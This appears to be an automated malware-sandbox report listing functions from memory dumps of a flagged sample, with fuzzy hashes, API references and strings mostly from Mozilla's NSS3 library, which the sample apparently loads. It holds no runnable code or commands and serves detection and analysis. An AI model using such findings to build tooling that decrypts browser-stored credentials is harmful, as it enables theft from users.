Opcode Fuzzy Hash: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction Fuzzy Hash: A8410670A00A28AFDB24DF58CC95BDBB7B5AB48302F4041D9E608E7290E7B16EC5CF50

Function 6C7DAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085a7194402bdeedc163bf9b1d1db6d97fe39ab3210a092589bc266a387b74fe
Instruction ID: 54df8af2015e204a292cc6d1683cc4a9aa1b7468671e4657ea9ac0aa5c1cff2c
Opcode Fuzzy Hash: 085a7194402bdeedc163bf9b1d1db6d97fe39ab3210a092589bc266a387b74fe
Instruction Fuzzy Hash: FFF19E71E012268FEB25CF28CA587AD77B4BB8A308F16423DD51597B44FB74A941CBE0

Function 6C6A3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C6A3EA9

Strings

0, xrefs: 6C6A3DAB

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 02f75f3fb013ddd1e4ab15249e89bd4770a0a1b181a24f717e72191eb9a83416
Instruction ID: 64d45a25d7a49db5b48ba75ab2c0a1bf1911b956b0b9bed4ce4129fd49b03b22
Opcode Fuzzy Hash: 02f75f3fb013ddd1e4ab15249e89bd4770a0a1b181a24f717e72191eb9a83416
Instruction Fuzzy Hash: 4F512831E491B98ADB1546FC88603FFBBB1AB82314F19433BC5A167AC1D2348D478798

Function 6C74EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C74F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C74F0F9

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 5578809a533e4c9c4b3e5c7321613cebeaac2a3e0a1e1a0ebb5d19483915b6ba
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 2991BE71E0061A8BCB14CF68C9906AEB7F1FF85324F24872DD962A7BD1D730A905CB91

Function 6C6BAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6C6BAE18
winUnlockReadLock, xrefs: 6C6BAE9F

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 8833fb4a2690bb7b649d5f53b36e30318263c6d2805471888138534bb80ae569
Instruction ID: 4cef7fc38aad4db1ac7097669c7eca57569a29b25f3f16051c2edcb178c80a84
Opcode Fuzzy Hash: 8833fb4a2690bb7b649d5f53b36e30318263c6d2805471888138534bb80ae569
Instruction Fuzzy Hash: 7D7190716043009FDB14CF28D894AABBBF5FF89318F14C628F95997212E730A986CBD5

Function 6C77ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C77EE3D

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 51b9fd4f44d5c25c43b08b9c40732319b99267f6a026c175c5e77b9a80964e5a
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 1471D672E017098FDB28CF59CA806AAB7F2BF88304F15462DD85597B91D770E940CBA1

Function 6C6B4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C6B5125

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: e27ea736d491071ffbe86cfb58e8a2ebd6dd7db8bd45c3fb13479c28f3ac2f5f
Instruction ID: 8f7b6b8038ecb7ebd83db26b14ba7d9daaad322ab76b19007a0fba5128caf174
Opcode Fuzzy Hash: e27ea736d491071ffbe86cfb58e8a2ebd6dd7db8bd45c3fb13479c28f3ac2f5f
Instruction Fuzzy Hash: 27E14F71A193408FDB15DF28D48869ABBF0FF8A308F11862DF88997351E7709985CBD6

Function 00418CF0 Relevance: 1.6, APIs: 1, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetSystemTime.KERNEL32(?,00859578,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID:
API String ID: 62757014-0
Opcode ID: cce225ff94706f9395c058c90c0b5c4f8768ee8627e86dd20290b192b3a29a40
Instruction ID: 470bfa94025adedc24e37c5607c38d4270d2eadb7b78e810e6eac55b0552b998
Opcode Fuzzy Hash: cce225ff94706f9395c058c90c0b5c4f8768ee8627e86dd20290b192b3a29a40
Instruction Fuzzy Hash: 1211D331D011089FCB04EFA9D891AEE77BAEF58314F44C05EF41667185EF386984CBA6

Function 0041D21A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001D1D8), ref: 0041D21F

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8b874fd89f0884f437ce1ddba4ceeb6b336b4db7298e80d3acb37d3ef468addd
Instruction ID: 17ba3a89fab13532ca0ccd526d59b343203315732a49a137553a0870c120f9dd
Opcode Fuzzy Hash: 8b874fd89f0884f437ce1ddba4ceeb6b336b4db7298e80d3acb37d3ef468addd
Instruction Fuzzy Hash: B19002F465151096860457755C4D5857A905E8D64675185A1AC06D4054DBA840409529

Function 6C7EDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3399839fd39de588c1bf5ca56125f7610e95c2bc599d84b2e3e5108422a82bfe
Instruction ID: 72473b7041ef5d4653f5e3ae2391236da13c252518dcb3463c2ff8ab16fbc8ba
Opcode Fuzzy Hash: 3399839fd39de588c1bf5ca56125f7610e95c2bc599d84b2e3e5108422a82bfe
Instruction Fuzzy Hash: 16F15872A012058FDB08CF18C594BAA77B2BF89318F298178D8199F741DB35ED42CBE5

Function 6C781DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: e7bba5bc58298ce5275a51c032d0aa343decb308a3a4030e5e66d271f318fa03
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 79D16972E066568BDB118E18C9843EA7763AB85329F1E8338CE745B7C6C37B9905C7D0

Function 6C7F0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b9598a34f9f2c738b3c2f0efb1d946b00df73702dc114da0d22d00d2e0f9a7
Instruction ID: ede68bb59ae71d4d81ba0d808a5740d7fc7788baa9c4a93037633c90e82fd970
Opcode Fuzzy Hash: 81b9598a34f9f2c738b3c2f0efb1d946b00df73702dc114da0d22d00d2e0f9a7
Instruction Fuzzy Hash: 341191757043459FDB10DF19C8D46AA77A5FF85368F148079D8298B701EB71E807CBA4

Function 6C7F0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: a44b63de33d4b29c92dac7c0903c97e0af77379ddd266565bee51615bab1a344
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 54E0D83A202054A7DB148F09C595AA97359EFC1619FB8807DCC6D9FB01D733F80387A1

Function 00419AA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C751D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C751D46), ref: 6C752345

Strings

CKR_NEXT_OTP, xrefs: 6C75222F
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C751F77
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C75204D
CKR_TOKEN_NOT_PRESENT, xrefs: 6C751F81
CKR_NEW_PIN_MODE, xrefs: 6C751E9F
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C75218D
CKR_SAVED_STATE_INVALID, xrefs: 6C751E56
CKR_DEVICE_REMOVED, xrefs: 6C752261
CKR_FUNCTION_REJECTED, xrefs: 6C752289
CKR_DEVICE_MEMORY, xrefs: 6C751FF3
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C75232E
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C751F8B
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C751DE0
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C752293, 6C75233F
CKR_FUNCTION_CANCELED, xrefs: 6C751E73
CKR_PIN_LOCKED, xrefs: 6C752075
CKR_WRAPPED_KEY_INVALID, xrefs: 6C751FB5
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C752015
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C752319
CKR_RANDOM_NO_RNG, xrefs: 6C7522A7
CKR_MUTEX_BAD, xrefs: 6C751F49
CKR_PIN_LEN_RANGE, xrefs: 6C752061
CKR_MUTEX_NOT_LOCKED, xrefs: 6C752225
CKR_DEVICE_ERROR, xrefs: 6C75229D
CKR_OK, xrefs: 6C751DFC
CKR_SIGNATURE_INVALID, xrefs: 6C7520CF
CKR_INFORMATION_SENSITIVE, xrefs: 6C7522B1
CKR_PIN_INCORRECT, xrefs: 6C751D92
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C7522FF
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C751EE1
rv = 0x%x, xrefs: 6C752312
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C752179
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C75226B
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C7520D9
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C75227F
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C752275
CKR_OPERATION_ACTIVE, xrefs: 6C7522B8
CKR_STATE_UNSAVEABLE, xrefs: 6C752037
rv = %s, xrefs: 6C752340
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C751FD7
CKR_BUFFER_TOO_SMALL, xrefs: 6C752183
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C751F95
CKR_PIN_INVALID, xrefs: 6C752057
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C752320
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C752327
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C751F0F
CKR_PIN_EXPIRED, xrefs: 6C75206B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: f2d29d0fde6f26d921eac8e89257ecf997c52d834a030ac1b5be18eb156ab94b
Instruction ID: cd7bf9fb674a4e2783f20951a078ffa9a39a67dbc60922911c49c3df416ae1d7
Opcode Fuzzy Hash: f2d29d0fde6f26d921eac8e89257ecf997c52d834a030ac1b5be18eb156ab94b
Instruction Fuzzy Hash: 8C61382464E148D7E63C444E83AE36C31249763309FE4C97BE6818EE95CF95CA79C6D3

Function 6C785DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C785E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C785E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C785E5C
free.MOZGLUE(00000000), ref: 6C785E7E
free.MOZGLUE(00000000), ref: 6C785E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C785EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C785EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C785ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C785EF0
free.MOZGLUE(00000000), ref: 6C785F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C785F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C785F5B
free.MOZGLUE(00000000), ref: 6C785F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C785FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C785FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C785FC4
free.MOZGLUE(00000000), ref: 6C785FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C785FE9
free.MOZGLUE(00000000), ref: 6C785FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C78600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C786027
